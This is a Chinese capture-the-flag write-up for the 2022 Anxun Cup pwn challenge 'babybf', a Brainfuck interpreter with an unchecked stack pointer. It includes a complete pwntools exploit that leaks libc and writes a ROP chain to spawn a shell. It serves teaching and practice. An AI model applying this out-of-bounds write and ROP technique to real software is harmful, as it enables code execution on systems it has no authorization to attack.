2022安洵杯babybf

babybf

赛后分析了下,发现是一道很有意思的题目

Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。

其实本题是一个c语言实现的Brainfuck语言的解释器,就是让我们输入Brainfuck语言去pwn

分析:

当然我们一开始啥都不知道,ida打开程序,主要分析这里的数组
请添加图片描述

这里把我们输入的code当作数组的下标进去转换

我们看这个数组是啥东西
请添加图片描述

我们要转换到这些00~08的值的话就要送一些特定的字符

其实这里相当于对应选项v4[0~8],去执行一些命令

请添加图片描述

我们计算一下地址可以得到对应的字符

例:0:(0x2110-0x2020)/4=0x3c=“<”

总结可得:

0:\x3c -->"<"
1:\x3e -->">"
2:\x2b -->"+"
3:\x2d -->"-"
4:\x2e -->"."
5:\x2c -->","
6:\x5b -->"["
7:\x5d -->"]"
8:\x00

这其实就是Brainfuck语言的字符标识

Brainfuck程序可以用下面的替换方法翻译成C语言(这题ptr是在栈上):

BrainfuckC
>++ptr;
<–ptr;
+++*ptr;
-–*ptr;
.putchar(*ptr);
,*ptr =getch();
[while (*ptr) {
]}

利用:

这题漏洞在数组越界,没对下标做检查

我们通过调试可得初始位置ptr在0x7fffe0c1eb60

请添加图片描述

在栈上的固定偏移如下

请添加图片描述

接下来就好做了,(偏移0x20)泄露libc,(偏移0x38)写rop到ret处执行system(“/bin/sh”)

Exp:

from pwn import * 
local_file  = './chall'
local_libc  = './libc-2.27.so'
remote_libc = './libc-2.27.so'
select = 0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('node4.buuoj.cn',25904 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
#-----------------------------
def debug(cmd=''):
     gdb.attach(r,cmd)
     pause()
def cmd(content):
    sla("len> ",str(len(content)))
    sea("code> ",content)
#------------------------
#debug()
cmd(">"*0x20+".>.>.>.>.>.")
libc_base=uu64(ru("\x7f")[-6:])-0x401B40
info("libc_base",libc_base)
pop_rdi = libc_base + next(libc.search(asm('pop rdi\nret')))
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
ret = libc_base + next(libc.search(asm('ret')))

payload=flat(ret,pop_rdi,binsh,system)
print(len(payload))
cmd(">"*0x38+",>"*(len(payload)-1)+',')
r.send(payload)

r.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值